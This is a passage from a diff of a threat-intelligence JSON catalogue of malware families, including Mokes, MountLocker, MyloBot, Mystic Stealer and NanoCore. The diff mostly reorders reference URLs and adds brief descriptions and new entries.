"https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/", "https://breakingmalware.com/malware/moker-part-2-capabilities/", - "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/" + "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/", + "https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/" ], "synonyms": [], "type": [] @@ -34302,8 +35893,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mokes", - "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", - "https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/" + "https://securelist.com/from-linux-to-windows-new-family-of-cross-platform-desktop-backdoors-discovered/73503/", + "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/" ], "synonyms": [], "type": [] @@ -34343,11 +35934,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader", - "https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/", + "http://www.clearskysec.com/iec/", "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", + "https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/", "https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east", - "http://www.clearskysec.com/iec/" + "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/" ], "synonyms": [], "type": [] @@ -34360,11 +35951,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner", - "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", "https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/", + "https://asec.ahnlab.com/en/37526/", "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", - "https://asec.ahnlab.com/en/37526/" + "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/" ], "synonyms": [ "CoinMiner" @@ -34379,7 +35970,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moneymessage", - "https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/" + "https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/", + "https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/", + "https://resources.securityscorecard.com/research/analysis-money-message-ransomware" ], "synonyms": [], "type": [] @@ -34420,10 +36013,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce", - "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf", "https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html", - "https://habr.com/ru/amp/post/668154/" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf", + "https://habr.com/ru/amp/post/668154/", + "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/" ], "synonyms": [], "type": [] @@ -34450,11 +36043,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent", "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", - "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://twitter.com/Timele9527/status/1272776776335233024", + "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], @@ -34506,9 +36099,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A", + "http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html", "https://www.f-secure.com/weblog/archives/00002227.html", - "http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html" + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A" ], "synonyms": [], "type": [] @@ -34547,14 +36140,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", - "https://www.recordedfuture.com/turla-apt-infrastructure/", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", - "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://www.recordedfuture.com/turla-apt-infrastructure/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter" ], "synonyms": [], "type": [] @@ -34563,38 +36156,39 @@ "value": "Mosquito" }, { - "description": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim’s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", + "description": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim\u2019s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", - "https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/", - "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", + "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", "https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/", - "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", + "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", + "https://securityscorecard.pathfactory.com/research/quantum-ransomware", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", + "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", + "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://community.riskiq.com/article/47766fbd", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", - "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", - "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", - "https://community.riskiq.com/article/47766fbd", + "https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker", + "https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/", "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", - "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", - "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", - "https://securityscorecard.pathfactory.com/research/quantum-ransomware", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", - "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html" + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [ "DagonLocker", @@ -34619,7 +36213,7 @@ "value": "Moure" }, { - "description": "", + "description": "According to PCrisk, Mozart is malicious software that allows attackers (cyber criminals) to execute various commands on an infected computer through the DNS protocol. This communication method helps cyber criminals to avoid detection via security software. Mozart is categorized as a malware loader and executes commands that cause download and installation of malicious software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart", @@ -34637,8 +36231,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mpkbot", - "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf" ], "synonyms": [ "MPK" @@ -34653,6 +36247,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang", + "https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/", "https://www.welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt/" ], "synonyms": [ @@ -34720,8 +36315,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos", - "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html", - "https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/" + "https://www.pandasecurity.com/mediacenter/malware/multigrain-malware-pos/", + "https://www.fireeye.com/blog/threat-research/2016/04/multigrain_pointo.html" ], "synonyms": [], "type": [] @@ -34748,10 +36343,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" ], "synonyms": [], "type": [] @@ -34777,10 +36372,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs", - "https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.htmlhttps://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html", - "https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html" + "https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", + "https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.htmlhttps://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html" ], "synonyms": [], "type": [] @@ -34793,11 +36388,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom", - "https://www.malware-traffic-analysis.net/2018/12/19/index.html", + "https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503", "https://www.giac.org/paper/gcih/568/mydoom-dom-anlysis-mydoom-virus/106069", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "http://ivanlef0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf", - "https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503" + "https://www.malware-traffic-analysis.net/2018/12/19/index.html", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf" ], "synonyms": [ "Mimail", @@ -34813,12 +36408,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader", - "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", - "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", - "https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf", "https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html" + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", + "https://blog.talosintelligence.com/2020/07/valak-emerges.html", + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", + "https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf", + "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf" ], "synonyms": [], "type": [] @@ -34827,17 +36422,17 @@ "value": "MyKings Spreader" }, { - "description": "", + "description": "According to PCrisk, MyloBot is a high-risk trojan-type virus that allows cyber criminals to control the infected machine. MyloBot can be considered as a botnet, since all infected computers are connected to a single network. Depending on cyber criminals' goals, infected machines might be misused or have additional infections applied.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot", - "http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html", "https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/", + "http://www.freebuf.com/column/153424.html", "https://www.bitsight.com/blog/mylobot-investigating-proxy-botnet", "https://blogs.akamai.com/sitr/2021/01/detecting-mylobot-unseen-dga-based-malware-using-deep-learning.html", "https://blog.centurylink.com/mylobot-continues-global-infections/", "https://github.com/360netlab/DGA/issues/36", - "http://www.freebuf.com/column/153424.html" + "http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html" ], "synonyms": [ "FakeDGA", @@ -34861,6 +36456,19 @@ "uuid": "c9b5b0b2-45af-43f2-8eb4-e13493c1342e", "value": "MysterySnail" }, + { + "description": "According to ZScaler, a new information stealer that was first advertised in April 2023, capable of stealing credentials from nearly 40 web browsers and more than 70 browser extensions, also targeting cryptocurrency wallets, Steam, and Telegram. The code is heavily obfuscated making use of polymorphic string obfuscation, hash-based import resolution, and runtime calculation of constants.\r\nMystic implements a custom binary protocol that is encrypted with RC4.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer", + "https://www.zscaler.com/blogs/security-research/mystic-stealer" + ], + "synonyms": [], + "type": [] + }, + "uuid": "226a9241-e4de-49d0-bb30-4550221f3f9f", + "value": "Mystic Stealer" + }, { "description": "", "meta": { @@ -34881,10 +36489,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.n40", - "http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html", + "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector", "https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/", - "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware", - "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector" + "http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html", + "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware" ], "synonyms": [], "type": [] @@ -34909,11 +36517,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf", - "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://raw.githubusercontent.com/eric-erki/APT_CyberCriminal_Campagin_Collections/master/2017/2017.05.30.Lazarus_Arisen/Group-IB_Lazarus.pdf", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", "https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b" + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/" ], "synonyms": [ "Cyruslish", @@ -34943,9 +36553,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon", + "https://securelist.com/analysis/publications/69953/the-naikon-apt/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" ], "synonyms": [ "Sacto" @@ -34960,59 +36570,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://goggleheadedhacker.com/blog/post/11", - "https://www.ic3.gov/media/news/2020/200917-1.pdf", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://community.riskiq.com/article/24759ad2", - "https://intel471.com/blog/privateloader-malware", - "https://www.secureworks.com/research/darktortilla-malware-analysis", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/", - "https://malwareindepth.com/defeating-nanocore-and-cypherit/", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.Nanocore", - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", - "https://community.riskiq.com/article/ade260c6", - "https://blog.morphisec.com/syk-crypter-discord", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918", - "https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/", - "https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", "https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/", - "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/elfin-indictments-iran-espionage", - "https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", "https://assets.virustotal.com/reports/2021trends.pdf", - "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/" + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.bleepingcomputer.com/news/security/nanocore-rat-author-gets-33-months-in-prison/", + "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", + "https://www.secureworks.com/research/darktortilla-malware-analysis", + "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", + "https://goggleheadedhacker.com/blog/post/11", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.Nanocore", + "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", + "https://community.riskiq.com/article/24759ad2", + "https://community.riskiq.com/article/ade260c6", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", + "https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://intel471.com/blog/privateloader-malware", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html", + "https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://blog.morphisec.com/syk-crypter-discord", + "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", 